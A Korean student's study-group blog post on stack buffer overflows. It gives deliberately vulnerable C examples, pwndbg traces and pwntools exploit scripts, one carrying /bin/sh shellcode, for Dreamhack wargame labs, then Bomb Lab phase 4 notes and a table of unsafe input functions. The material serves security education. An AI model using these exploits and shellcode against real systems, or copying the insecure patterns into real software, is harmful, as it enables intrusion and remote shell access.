-
[SISS/시스템 스터디] 여름 6주차 스터디 - 스택 버퍼 오버플로우, phase 424-여름 SISS/시스템 2024. 8. 10. 21:15
여름 6주차 스터디 - 스택 버퍼 오버플로우, phase 4 : 6주차(08.05.~08.11.) [Stack Buffer Overflow]Stack Buffer Overflow phase_4 3.pdf 2,3
수강 인증 화면 캡쳐 Stack Buffer Overflow
- 스택 버퍼 오버플로우 → 스택의 버퍼에서 발생하는 오버플로우
- 버퍼 → 목적지로의 이동 이전에 데이터가 임시로 보관되는 곳(처리 속도가 입력 속도보다 느릴 경우 데이터가 유실될 위험이 있음) → 현대에는 완충의 의미가 흐려져 스택 버퍼, 힙 버퍼와 같이 ‘저장소’의 뜻으로 사용되기도 함
- 버퍼 오버플로우 → 버퍼가 넘치는 것 → 일반적으로 버퍼는 연속적으로 할당되어있으므로 오버플로우 발생 시 이후 버퍼의 값이 조작될 위험이 발생 → (예시) int의 경우 4바이트, char은 10바이트의 크기의 버퍼가 할당되는데, 그 이상의 데이터 입력 시 오버플로우 발생
- 스택 버퍼 오버플로우 예시
- check_auth에서 temp버퍼를 복사할 때, temp의 크기(16 바이트)가 아니라 인자인 password의 크기만큼 복사 → argv[1] 가 16 바이트 이상이 되면 스택 버퍼 오버플로우가 발생
- 이 때 auth가 temp버퍼 뒤에 존재하므로, auth의 값을 0이 아닌 값으로 바꿀 수 있게 됨 → 실제 인증 여부와 상관없이 if(check_auth(argv[1])) 가 항상 참이 되는 문제 발생
스택 버퍼 오버플로우 예시 // Name: sbof_auth.c // Compile: gcc -o sbof_auth sbof_auth.c -fno-stack-protector #include <stdio.h> #include <stdlib.h> #include <string.h> int check_auth(char *password) { int auth = 0; char temp[16]; strncpy(temp, password, strlen(password)); if(!strcmp(temp, "SECRET_PASSWORD")) auth = 1; return auth; } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: ./sbof_auth ADMIN_PASSWORD\n"); exit(-1); } if (check_auth(argv[1])) printf("Hello Admin!\n"); else printf("Access Denied!\n"); }
- 데이터 유출 예시
- c언어의 문자열은 널바이트로 끝남 → 오버플로우로 널바이트 제거 시 문자열의 끝을 인식하지 못해 다른 버퍼의 데이터를 읽을 수 있음
// Name: sbof_leak.c // Compile: gcc -o sbof_leak sbof_leak.c -fno-stack-protector #include <stdio.h> #include <string.h> #include <unistd.h> int main(void) { char secret[16] = "secret message"; char barrier[4] = {}; char name[8] = {}; memset(barrier, 0, 4); printf("Your name: "); read(0, name, 12); printf("Your name is %s.", name); }
데이터 유출 예시 사진 - 실행 흐름 조작 예시
- 함수 호출 시의 반환 주소를 조작
// Name: sbof_ret_overwrite.c // Compile: gcc -o sbof_ret_overwrite sbof_ret_overwrite.c -fno-stack-protector #include <stdio.h> #include <stdlib.h> int main(void) { char buf[8]; printf("Overwrite return address with 0x4141414141414141: "); gets(buf); return 0; }
실행 흐름 조작 예시 - (참고) 스택 오버플로우 → 스택 영역이 너무 많이 확장되어서 발생하는 버그
실습 1 - Return Address Overwrite
- 반환 주소 조작
- 예제 코드 → scanf가 공백 문자 입력 전까지 계속 입력받는 함수이므로 버퍼 크기보다 큰 입력이 들어오면 오버플로우가 발생함 (OOB / Out-Of-Bound) → %s 대신 %[n]s를 사용하여 n개의 문자만 입력받도록 해야함
- 트리거 후 스택 확인해보기
// Name: rao.c // Compile: gcc -o rao rao.c -fno-stack-protector -no-pie #include <stdio.h> #include <unistd.h> void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } void get_shell() { char *cmd = "/bin/sh"; char *args[] = {cmd, NULL}; execve(cmd, args, NULL); } int main() { char buf[0x28]; init(); printf("Input: "); scanf("%s", buf); return 0; }
- 예제 코드 → scanf가 공백 문자 입력 전까지 계속 입력받는 함수이므로 버퍼 크기보다 큰 입력이 들어오면 오버플로우가 발생함 (OOB / Out-Of-Bound) → %s 대신 %[n]s를 사용하여 n개의 문자만 입력받도록 해야함
- 익스플로잇
- nearpc → rbp-0x30에 버퍼 위치 → 반환 주소는 rbp 기준 rbp+0x8 위치에 저장 → 0x38만큼 떨어진 곳에 입력하면 조작 가능
- print get_shell (get_shell 주소 찾기 → 0x4006aa) → A + B + get_shell()
- 엔디언(데이터 정렬 방식) 적용
- 페이로드(공격을 위해 프로그램에 전달하는 데이터) 구성
pwndbg> nearpc 0x400706 call printf@plt 0x40070b lea rax, [rbp - 0x30] 0x40070f mov rsi, rax 0x400712 lea rdi, [rip + 0xab] 0x400719 mov eax, 0 ► 0x40071e call __isoc99_scanf@plt <__isoc99_scanf @plt> format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */ vararg: 0x7fffffffe2e0 ◂— 0x0 ... pwndbg> x/s 0x4007c4 0x4007c4: "%s"__isoc99_scanf
$ gdb rao -q pwndbg> print get_shell $1 = {<text variable, no debug info>} 0x4006aa <get_shell> pwndbg> quit
// Name: endian.c // Compile: gcc -o endian endian.c #include <stdio.h> int main() { unsigned long long n = 0x4006aa; printf("Low <-----------------------> High\n"); for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i)); return 0; }
$ ./endian Low <-----------------------> High 0xaa 0x6 0x40 0x0 0x0 0x0 0x0 0x0
from pwn import * p = remote("host1.dreamhack.games", 21162) context.arch = "amd64" payload = b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00' p.sendafter("Input: ", payload) p.interactive()
실습 1 - Return Address Overwrite - 취약점 패치
- rao
입력 함수(패턴) 위험도 평가 근거 gets(buf) 매우 위험 • 입력받는 길이에 제한이 없음.
• 버퍼의 널 종결을 보장하지 않음: 입력의 끝에 널바이트를 삽입하므로, 버퍼를 꽉채우면 널바이트로 종결되지 않음. 이후 문자열 관련 함수를 사용할 때 버그가 발생하기 쉬움.scanf(“%s”, buf) 매우 위험 • 입력받는 길이에 제한이 없음.
• 버퍼의 널 종결을 보장하지 않음: gets와 동일.scanf(“%[width]s”, buf) 주의 필요 • width만큼만 입력받음: width를 설정할 때 width <= size(buf) - 1을 만족하지 않으면, 오버플로우가 발생할 수 있음.
• 버퍼의 널 종결을 보장하지 않음: gets와 동일.fgets(buf, len, stream) 주의 필요 • len만큼만 입력받음: len을 설정할 때 len <= size(buf)을 만족하지 않으면, 오버플로우가 발생할 수 있음.
• 버퍼의 널 종결을 보장함.
◦ len보다 적게 입력하면, 입력의 끝에 널바이트 삽입.
◦ len만큼 입력하면, 입력의 마지막 바이트를 버리고 널바이트 삽입.
• 데이터 유실 주의: 버퍼에 담아야 할 데이터가 30바이트인데, 버퍼의 크기와 len을 30으로 작성하면, 29바이트만 저장되고, 마지막 바이트는 유실됨
- rao
실습 2 - basic_exploitation_000
- 소스 코드
// basic_exploitation_000.c #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main(int argc, char *argv[]) { char buf[0x80]; initialize(); printf("buf = (%p)\n", buf); scanf("%141s", buf); return 0; }
- exploit.py
from pwn import * p = remote("host3.dreamhack.games", 19333) context.arch = "i386" p.recvuntil("buf = (") buf_address = int(p.recv(10), 16) p.recvuntil("\n") payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80" payload += b"\x80"*106 payload += p32(buf_address) p.send(payload) p.interactive()
실습 2 - basic_exploitation_000 실습 3 - basic_exploitation_001
- exploit.py
from pwn import * p = remote("host3.dreamhack.games", 11132) context.arch = "i386" payload = b"\x80"*132 + p32(0x80485b9) p.send(payload) p.interactive()
실습 3 - basic_exploitation_001 Bomb Lab - phase 4
- disass phase_4
- <+4>, <+9>: rcx, rdx 레지스터에 각각 rsp+0xc, rsp+0x8 주소 저장 (입력받을 값을 저장하기 위함)
- <+29>: eax에 저장된 값(<+24>에서 입력받은 것)과 2를 비교
- <+32>: 같지 않으면(2와) <+41>로 점프 (폭탄 터짐)
- <+32>, <+39>: 첫 입력과 14를 비교해 14 이하의 값이면 계속 진행 (<+46>으로 이동)
- <+56>: edi에 [rsp+0x8](첫 입력) 저장
- <+60>: func4 함수 호출 (인자는 edi(첫 입력), esi(0), edx(14))
- <+67>: eax가 0이 아닐 경우 폭탄이 터짐
- <+74>: 두 번째 입력 값이 0이 아니면 폭탄이 터짐 → 두 번째 입력은 무조건 0일 것
- disass func4
- <+4>, <+6>, <+8>: edx(14)를 eax에 복사한 후 eax(14)에서 esi(0)를 빼서 ecx에 복사 (14가 된 eax 값이 복사됨)
- <+10>: eax가 음수인지 검사하여(ecx를 31비트만큼 오른쪽 시프트) 음수일 경우 ecx를 1로 변경
- <+13>, <+17>: eax(edx)에 ecx(esi)를 더해서 2로 나눈 후, ecx에 (rax+rsi = edx+esi/2)를 저장
- <+20>, <+22>, <+36>: ecx, edi를 비교해 ecx가 더 작거나 같으면 eax를 0으로 변경 → edi 값(첫 입력)이 7이면 <+36>으로 점프해 조건을 만족하게 됨
disass phase_4, disass func4 '24-여름 SISS > 시스템' 카테고리의 다른 글
[SISS/시스템 스터디] 여름 8주차 스터디 - phase 6 (0) 2024.08.18 [SISS/시스템 스터디] 여름 7주차 스터디 - phase 5 (0) 2024.08.17